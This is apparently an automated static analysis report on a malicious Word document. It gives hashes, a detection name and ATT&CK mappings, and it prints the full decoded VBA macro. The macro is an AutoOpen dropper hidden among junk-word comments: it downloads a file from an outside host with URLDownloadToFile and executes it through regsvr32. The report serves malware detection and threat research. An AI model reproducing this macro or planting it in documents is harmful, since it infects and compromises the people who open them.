Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 a87a4a43ea99fea8…

MALICIOUS

Office (OOXML)

147.2 KB Created: 2020-07-08 23:42:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-15
MD5: e6e2e58b5fe7abb80691e1bd6ecace38 SHA-1: 37b2d8231c3d90505115f8099a703823635907ce SHA-256: a87a4a43ea99fea877e46a92cf90434b15667e7ef463da04640af1bb5116c7ca
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is an Office document containing a VBA macro with an AutoOpen subroutine. This macro utilizes URLDownloadToFile to download a file named 'wG.tmp' from 'the embedded link'. Subsequently, it executes this downloaded file using 'regsvr32'. The presence of the AutoOpen macro and the URLDownloadToFile function strongly indicate a downloader or droppper functionality.

Heuristics 5

  • ClamAV: Doc.Dropper.Agent-8800264-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-8800264-0
  • VBA project inside OOXML medium 2 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    ' Palanquin thane gillian errors
    Call URLDownloadToFile(0, "http://n2f79.com/iz5/yaca.php?l=kpt1.cab", Vw, 0, 0)
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Public Const Vw As String = "wG.tmp"
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://n2f79.com/iz5/yaca.php?l=kpt1.cab Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2116 bytes
SHA-256: 53024a4e3d5fae56b361d00fbf8f70bd36b93867d5ef2e2ec81ea3740411456f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "E"
Public Const Vw As String = "wG.tmp"
Sub autoopen()

' Dowry incredulous
' Laymen accruing jane
' Ooo venerate
' Fort insidious cubic
' Productions
' Insulation reminder ventures mpegs sends

' Gradually abstractedly
' Dyou dalton maori serve bottles
' Palanquin thane gillian errors
Call URLDownloadToFile(0, "http://n2f79.com/iz5/yaca.php?l=kpt1.cab", Vw, 0, 0)

' Precisely
' Snorting nominative partaken lukewarm
P
End Sub

Attribute VB_Name = "E1"
Sub P()

' Scribble trample
' Assembling jailer

' Crazy lack urchin
' Sickle

' Pomegranate dissimulation strangeness
' Knickerbockers system

' Informed survival adornment

' Recommendation amass viscid excel
' Competitive partnerships preparation emission
' Retained remembered appraised participants
' Lou instrumentality latter assuming
' Penis aide models loitering parliamentary bounteous
' Dj clerk propulsion
' Distribute

' Remarkable lewd rivet employment
' Stimulation sat. odium

' Input determinate tarried
' Demographic idealist

' Mica dalliance shutter barnaby samuel amanda up
' Self-possessed
' Retrieval ghent
Dim eu As New WshShell

' Jocund larboard
' Accented ratios cant diving fw cylinder
' Luis charwoman carlo nucleus weak enhanced weighted
' Created constitute pill hereby
eu.run "regs" + "vr32 " & Vw
End Sub

Attribute VB_Name = "g"
#If VBA7 And Win64 Then
Public Declare PtrSafe Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal ri As LongPtr, ByVal u9 As String, ByVal ep As String, ByVal hS As LongPtr, ByVal ZU As LongPtr) As Long
#Else
Public Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA"(ByVal ri As Long, ByVal u9 As String, ByVal ep As String, ByVal hS As Long, ByVal ZU As Long) As Long
#End If
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: a0c5582f2f708c5bdbea617ecb35d9a5ab062c1ee1cfb1bbaea4bb8b71e2ff57
Detection
ClamAV: Doc.Dropper.Agent-8800264-0
Obfuscation or payload: unlikely